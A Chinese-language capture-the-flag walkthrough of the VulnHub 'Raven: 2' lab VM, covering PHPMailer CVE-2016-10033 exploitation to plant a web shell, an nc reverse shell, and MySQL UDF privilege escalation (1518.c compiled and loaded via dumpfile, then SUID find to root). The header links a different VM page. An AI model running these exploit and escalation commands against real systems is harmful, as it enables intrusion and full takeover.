靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机难度:中等(CTF)
靶机发布日期:2018年5月4日
靶机描述:Raven:2是中级boot2root VM。有四个要捕获的标志。在多次破坏之后,Raven Security采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以破坏Raven:2?
目标:找到四个flag.txt信息
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
这里还能使用arp-scan -l 或者 netdiscover来获取需要攻击主机的IP地址。
主机IP:192.168.182.142
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口扫描:
看到目标开放了22、80、111端口,其中80端口运行了一个web应用,可以通过入侵web进入系统,由于介绍系统人员加固了改系统设置的系统口令太强,这里没进行爆破。(爆破起来估计要几天...)
我打算使用dirb进行目录爆破,这里我在重复介绍一次dirb
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
扫了我10多分钟...看到了好多目录,一个一个从往下看,然后找到http://192.168.182.142/vendor目录有个目录遍历。
然后继续一个一个打开看,信息收集过程就是这样,要有耐心....
很顺利的在PATH文件里面发现flag1
获得网站绝对路径:/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
按照难度,应该不会有第二个flag2能这么简单找到了....但是还是一个一个往下看....无用的信息我就过滤不写出来了
我们在README.md文件中看出来这个靶机有一个PHPMailer 邮件服务
版本是5.2.16
二、漏洞利用
搜索PHPMailer版本小于5.2.20存在远程代码执行漏洞
使用searchsploit 搜索可以利用的漏洞
也可以到exploit-db.com搜索,并发现利用exp地址:
漏洞的编号为CVE-2016-10033
命令:cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
将exp考出,需要针对PHPMailer修改参数
我这边把40974.py改名:dayu.py了
这边如果第一次用python执行shell的话,python dayu.py
会报错,需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
执行python dayu.py
访问contact.php(http://192.168.182.142/contact.php),此时就会生成后门文件shell.php
接着访问后门文件:http://192.168.182.142/shell.php
这边用nc开启监听服务,成功用python shell拿到了低权限www-data
继续用python获取pty,前面两章都有介绍
命令:python -c 'import pty;pty.spawn("/bin/bash")'
这边目标是拿到四个flag文件,目前只拿到了一个。
我尝试使用find查看cd /var 目录下是否有flag文件
这里很幸运的找到了flag2和flag3,我们进入获取信息
这里flag3在图片里是png文件,直接web访问就能查看:http://192.168.182.142/wordpress/wp-content/uploads/2018/11/flag3.png
下一步是要获取靶机root权限才能查看flag4.txt 这又要开始一波艰难的旅程了....
去网站根目录下看看有没有什么有用的信息
找到一个目录wordpress
进去有一个config,配置文件,查看
用户:root,密码:R@v3nSecurity
三、权限提升
发现数据库root登录的密码
在这里利用Linux枚举漏洞工具LinEnum(数据库渗透好东西)
下载地址:https://github.com/rebootuser/LinEnum
下载完,我们用python搭建以一个简易的服务器来把文件下载到靶机里面
命令:python -m SimpleHTTPServer 5555
上传成功
需要提权,chmod提权后./LinEnum.sh执行
可以查看到Mysql是用root登陆的,还有另外一种简单的方法...脑补完才知道
或者使用命令:ps aux | grep root,查看到当前以root用户身份运行的所有进程。(最近在脑补数据库漏洞利用)...
现在要查找MySQL版本
进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录:ps -ef|grep mysql
或者使用命令:dpkg -l | grep mysqlmysql查看
命令:dpkg -l | grep mysql
命令:mysql -u root -pR@v3nSecurity
命令:select version();
可以看到运行是5.5版,还有另外一种方法查看我使用了梯子访问谷歌查看了很多信息,此版本的MySQL容易受到UDF(用户定义函数)漏洞的攻击。
可以利用1518.c这个UDF特殊漏洞
MySQL中UDF漏洞学习:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
(这里我是用谷歌翻译来慢慢学习的,耐心学习每个漏洞!!)
想获取1518exploit有两种方法:
1)获取地址:https://www.exploit-db.com/exploits/1518
2)也可以在kali里面搜索,我还是比较喜欢使用kali
命令:searchsploit 1518.c
命令:cp /usr/share/exploitdb/exploits/linux/local/1518.c /root 拷出
接着就是利用提权exp的利用了1518.c在kali上进行编译生成so文件:
命令:gcc -g -c 1518.c
命令:gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
使用前面的python 5555服务传输到靶机
然后通过mysql进行UDF提权
进入数据库创建数据表 foo
命令:create table foo(line blob);
插入数据:insert into foo values(load_file('/tmp/dayu.so'));
Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数
命令:select * from foo into dumpfile '/usr/lib/mysql/plugin/dayu.so';
创建自定义函数do_system 类型是integer,别名(soname)文件名字
然后查询函数是否创建成功
命令:create function do_system returns integer soname 'dayu.so';
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
命令:select * from mysql.func;
命令:select do_system(‘chmod u+s /usr/bin/find’);
执行find命令
使用find执行 shell
命令:find / -exec '/bin/sh ’ ;
成功提权查看flag4.txt
本文始发于微信公众号(暗影安全):VulnHub-Raven: 2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论